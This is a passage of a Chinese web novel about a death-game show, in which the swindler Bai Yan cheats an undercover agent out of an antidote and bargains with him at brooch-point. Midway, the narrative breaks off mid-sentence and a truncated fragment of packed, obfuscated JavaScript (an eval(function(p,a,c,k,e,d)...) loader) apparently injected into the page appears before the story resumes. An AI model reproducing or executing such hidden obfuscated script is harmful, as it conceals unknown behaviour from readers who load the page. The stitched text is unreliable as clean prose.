白焰一脸神秘地笑了:“好的,我已经知道下一局该出什么了。” 李默凛不由感到气闷,他本想误导白焰,可是看白焰那副胸有成竹的模样,反倒像是把他看穿了。 理智告诉他,白焰很可能在故意扰乱他的心态,可上一局的失利又让他隐隐生出几分自我怀疑,白焰到底是凭着运气取胜,还是真的根据他的回答,推算出了他的想法? 他在短暂的时间里快速思索着,决定第三局出布。 然而白焰出了剪刀,李默凛又输了。 就这样,白焰轻松赢下两局。按照先前的约定,如果他们这张藏宝图只有一份解药,这份解药就应该归白焰所有。 李默凛皱起眉头,心里隐约觉得有些不对劲,却又说不上来哪里出了问题。 这一段镜头的观赏性虽不及那些血腥残杀的场面,但由于同一时间没有其他更精彩的镜头,加上白焰已经成为这场游戏中最受关注的选手,两人猜拳的过程从屏幕中央的主画面呈现出来。 花樱专注地盯着屏幕,一双漂亮的杏眼里浮现出迷惑:“我觉得白焰出手晚了一小会儿,是我的错觉吗?” 小薛在一旁接话:“我也发现了,尤其是最后两局。” “第一局没问题,最后两局晚了不到半秒。”美亚笃定地说,“本来我还不能确定,既然你们都感觉到了,那肯定不会错。” 三个人的话一对上,她们立刻明白了怎么回事。 白焰之所以胜券在握,不是他会读心术,而是因为他作弊了。 他预告自己下一局出什么,用那套思维博弈的理论忽悠李默凛,全部都是为了分散李默凛的注意力,让他疲于思考,忽略两人出手的时间差。 “就算是作弊,这反应速度也太快了吧!”花樱惊叹道,“不到半秒的时间,我们眼睛都转不过来,他的大脑是怎么转过来的?” 辛霆忽然开口了:“他是罕见的千术天才。要是低调一点,胃口别太大,这种天赋足够他后半生衣食无忧。” 他的语气淡淡的,听不出是赏识还是嘲讽。 花樱有些不解:“那他怎么会出现在这里?” 辛霆意味不明地低笑了一声:“人性就是如此,一旦尝过践踏规则、愚弄人心的甜头,是戒不掉的。” 画面中,白焰和李默凛四目相对,明明胜负已分,解药的归属权已经确定,两人之间的气氛却更加焦灼了。 空气里像是崩着一根看不见的线,一点风吹草动就要断裂。 在生死面前,道德和信用变得毫无约束力,每一个参与游戏的人都清楚这一点。 白焰向前走了一步,从书架上取下那本书,眼角的余光始终没有离开李默凛的方向。 李默凛站着原地,浑身肌肉绷紧,眼神像钩子一样,紧紧盯着白焰的一举一动。 白焰知道李默凛在等待什么,他在等一个结果—— 这本书里到底有几份解药。 如果有两份,那自然是皆大欢喜,谁也不用撕破脸。 但如果只有一份,李默凛会怎么做? 他会遵守承诺,将好不容易找到的解药拱手让人吗? 白焰脸上掠过一丝玩味的笑意。 站在他的视角,结果没有任何悬念。与李默凛那半张藏宝图相对应的数字,应该是彭虎藏宝图上的G42,所以真正的索书号不是L351.408,而是G421.408。 他手里拿的这本书其实什么都没有。 但他眼底还是闪过一丝兴奋的光芒,作为一个以欺诈为生的人,每当角色发生互换,有人反过来想要骗他,在他看来就像棋逢对手一样有趣。 虽然李默凛的骗术不够精湛,可他身上那股正直劲儿足够以假乱真。 白焰一时间竟难以分辨,李默凛是天生的演技派,还是心中真的保留着一丝尚未泯灭的正义。 作为一个合格的骗子,他深谙人性,再高超的伪装伎俩,在他眼中都如同透明,几乎到了让他感到索然无味的地步。 但是李默凛却让他很是看不透,这让白焰愈发感兴趣。 他颇有耐心地陪李默凛玩猜拳游戏,赢下解药的归属权,就是为了看清李默凛的真面目,满足一下自己的恶趣味。 在李默凛咄咄逼人的目光中,白焰翻动书页,片刻之后合上,语气抱歉地说:“只有一份。” 话音刚落,站在他一米之外的李默凛突然发难,冲上前一拳往他下颌砸去。 白焰早有准备,灵活地闪身躲开,李默凛一击未中,紧接着又是一记摆拳,直奔他的面门。 他出拳极快,几乎让人来不及闪避,但是白焰反应更快,一个利落的拧身,拳风擦着他的耳边划过。 他学过基本的格斗术,应付一般人不是问题,但是李默凛显然经过系统的训练,身体素质也远超常人。 几个来回下来,两人堪堪打了个平手,一时难分胜负。 白焰试出李默凛的实力,不愿白费力气,后撤了几步,把书往空中一抛:“给你了。” 李默凛接住那本书,站定道:“抱歉了,我必须活下去,为了完成更重要的事。距离游戏结束还有一段时间,请你另谋出路吧。” “该说抱歉的人是我。”白焰终于卸下伪装,脸上浮现出计谋得逞的恶劣笑容,“刚才骗你的,这张藏宝图根本没有宝藏。不信你打开书看看?” 李默凛翻开书一看,果真空空如也。 他脸一下子黑了,一个箭步冲上去,揪住白焰的衣领:“你耍什么花招?” 话音刚落,李默凛忽然感到脖子一阵凉意,一个尖锐的物体抵在颈动脉上。 他偏头一看,是一枚金光闪闪的胸针。 白焰笑得春风满面,那笑容在李默凛眼中像针尖一样刺目。 “是你太不老实了,李探员。” 最后三个字他没有发出声音,而是用唇语说的。 李默凛神色陡然一震,尽管他极力维持镇定,那一瞬间的微表情已经彻底出卖了他。 他不仅读得懂唇语,而且被白焰一语道破了身份—— 他根本不是什么雇佣兵,而是调查局探员! 李默凛的额角渗出些许冷汗,他微微偏头,余光扫向距离最近的摄像头。 他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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白焰在心中思索,觉得深渊是某个人的可能性更大。 电光火石间,一个灵光乍现的点子闪过脑海,他决定赌一把。 他当即收敛起笑意,直视李默凛,一字一顿道:“我就是深渊。” 这一刻,他平日里狐狸般狡猾的气质褪得干干净净,取而代之是一种前所未有的坚定冷峻,连奥斯卡影帝看到这一幕都要自愧不如。 李默凛与他对视,只觉得他的目光明亮而锐利,像黑暗中出鞘的一把利剑,那眼神让他心头一震,几乎定在原地。 他怔了半晌,深吸一口气,缓缓说道:“你对流星许过愿吗?” 这句话问得没头没脑,两人又是用唇语交流,白焰怀疑自己理解错了,出声确认:“流星?” 他这一出声,李默凛立刻回过神来,怒意涌现:“你诈我?” 到了这一步,白焰也演不下去了,嬉皮笑脸道:“兵不厌诈。” 这下他基本可以确定,李默凛在找一个叫深渊的人,却不知道深渊具体是谁,只能通过接头暗号才能确认对方身份。 刚才李默凛说出的那句话,是暗号的前半句,白焰答不上后半句,自然就露馅了。 他看着李默凛恨不得将他除之后快的样子,笑容更盛:“顺便再告诉你一声,我吃过解药了。” 李默凛一时哑然,随着时间流逝,毒气的影响愈发明显,让他头脑发昏,肢体也变得麻木,白焰手里还握着利器,自己拿他一点办法都没有。 他沉下脸道:“解药果然是你搞的鬼。” 白焰满不在乎地笑了:“那你猜错了,我这份解药和你无关。不过你那份解药,我恰巧知道在哪。” 李默凛神色一动,骤然抬起头。 白焰好整以暇地看着他,把玩着手中的胸针,故意停顿片刻才开口。 他的语气低沉而蛊惑,像披着光鲜皮囊的恶魔,开出危险却让人难以抗拒的条件。 “用你的秘密来交换。如果你那件重要的事能让我感兴趣,我可以帮你。”